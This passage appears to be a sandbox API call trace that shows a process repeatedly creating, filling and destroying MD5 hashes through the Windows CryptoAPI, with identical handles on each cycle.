	[0115.647] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.647] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.647] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.647] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.647] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.647] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.647] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.648] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.648] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.648] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.648] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.648] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.648] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.648] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.648] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.648] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.648] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.648] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.648] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.648] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.649] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.649] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.649] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.649] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.649] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.649] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.649] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.649] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.649] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.649] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.649] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.649] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.650] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.650] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.650] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.650] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.650] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.650] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.650] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.650] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.650] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.650] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.650] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.650] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.650] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.650] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.650] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.651] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.651] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.651] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.651] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.651] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.651] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.651] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.651] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.651] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.651] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.651] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.651] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.651] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.651] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.652] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.652] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.652] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.652] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.652] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.652] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.652] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.652] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.652] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.652] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.652] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.652] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.652] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.652] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.653] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.653] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.653] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.653] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.653] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.653] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.653] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.653] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.653] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.653] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.654] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.654] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.654] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.654] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.654] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.654] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.654] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.654] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.654] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.654] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.654] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.654] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.654] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.654] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.655] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.655] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.655] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.655] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.655] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.655] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.655] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.655] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.655] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.655] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.655] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.655] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.655] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.655] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.656] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.656] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.656] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.656] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.656] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.656] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.656] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.656] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.656] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.656] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.656] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.656] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.656] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.656] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.656] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.657] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.657] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.657] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.657] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.657] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.657] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.657] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.657] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.657] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.657] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.657] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.657] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.657] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.657] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.658] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.658] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.658] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.658] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.658] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.658] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.658] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.658] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.658] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.658] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.658] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.658] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.658] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.659] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.659] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.659] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.659] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.659] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.659] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.659] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.659] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.659] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.659] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.659] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.659] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.660] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.660] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.660] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.660] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.660] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.660] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.660] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.660] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.660] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.660] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.660] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.660] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.661] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.661] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.661] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.661] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.661] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.661] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.661] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.661] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.661] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.661] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.661] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.661] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.662] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.662] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.662] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.662] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.662] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.662] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.662] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.662] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.662] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.662] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.662] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.662] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.662] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.663] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.663] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.663] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.663] CryptDestroyHash (hHash=0x24d790) returned 1
